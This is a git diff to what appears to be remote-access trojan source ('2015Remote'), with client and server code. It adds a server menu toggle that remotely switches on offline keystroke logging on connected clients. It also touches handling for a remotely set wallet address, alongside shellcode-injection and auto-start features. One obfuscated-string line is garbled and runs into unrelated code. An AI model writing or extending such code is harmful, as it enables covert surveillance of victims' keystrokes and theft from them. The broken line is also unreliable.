diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index ab8e052..4ff1d0f 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -17,6 +17,7 @@ #include "IOCPKCPClient.h" #include "auto_start.h" #include "ShellcodeInj.h" +#include "KeyboardManager.h" // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) @@ -584,14 +585,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } break; case CMD_MASTERSETTING: - if (ulLength > sizeof(MasterSettings)) { - memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); + if (ulLength > MasterSettingsOldSize) { + memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); CManager* pMgr = (CManager*)m_hKeyboard->user; if (pMgr) { pMgr->UpdateWallet(m_settings.WalletAddress); } + if (m_settings.EnableKBLogger && m_hKeyboard) { + CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user; + mgr->m_bIsOfflineRecord = TRUE; + } } break; case COMMAND_KEYBOARD: { //键盘记录 diff --git a/common/commands.h b/common/commands.h index 2d488e5..4adbfdb 100644 --- a/common/commands.h +++ b/common/commands.h @@ -879,8 +879,12 @@ typedef struct MasterSettings { int DetectSoftware; // int UsingFRPProxy; // ǷʹFRP char WalletAddress[472]; // Wallets + int EnableKBLogger; // Since 2025-11-27 + char Reserved[496]; // Since 2025-11-27 } MasterSettings; +#define MasterSettingsOldSize 500 + #pragma pack(push, 1) // 100ֽ: + С + ÷ʽ + DLL typedef struct DllExecuteInfo { diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 32ddc08..5721352 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a9b5683..a556a16 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -534,6 +534,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin) ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins) ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray) + ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger) END_MESSAGE_MAP() @@ -1058,8 +1059,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog() const Validation* v = GetValidation(); if (!(strlen(v->Admin) && v->Port > 0)) { // IMPORTANT: For authorization only. + // NO NOT CHANGE: The program may not work if following code changed. PrintableXORCipher cipher; - char buf1[] = { "ld{ll{dc`{geb" }, buf2[] = {"b`af"}; + char buf1[] = { "? &!x1:xCheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED); std::map myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }}; std::string str = myMap[n]; LVCOLUMN lvColumn; @@ -3913,3 +3918,13 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) { MessageBoxA(CString("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION); return S_OK; } + + +void CMy2015RemoteDlg::OnParamKblogger() +{ + m_settings.EnableKBLogger = !m_settings.EnableKBLogger; + CMenu* SubMenu = m_MainMenu.GetSubMenu(2); + SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED); + THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger); + SendMasterSettings(nullptr); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7018775..dceb9e8 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -357,4 +357,5 @@ public: afx_msg void OnShellcodeTestAesBin(); afx_msg void OnToolReloadPlugins(); afx_msg void OnShellcodeAesCArray(); + afx_msg void OnParamKblogger(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.user b/server/2015Remote/2015Remote_vs2015.vcxproj.user index 40b2c40..d211272 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.user +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.user @@ -3,6 +3,7 @@ $(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt) WindowsLocalDebugger + -agent $(SolutionDir)Bin\$(TargetName)_x86$(TargetExt) @@ -15,6 +16,7 @@ $(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt) WindowsLocalDebugger + -agent 2015Remote.rc diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 058b576..eec8465 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ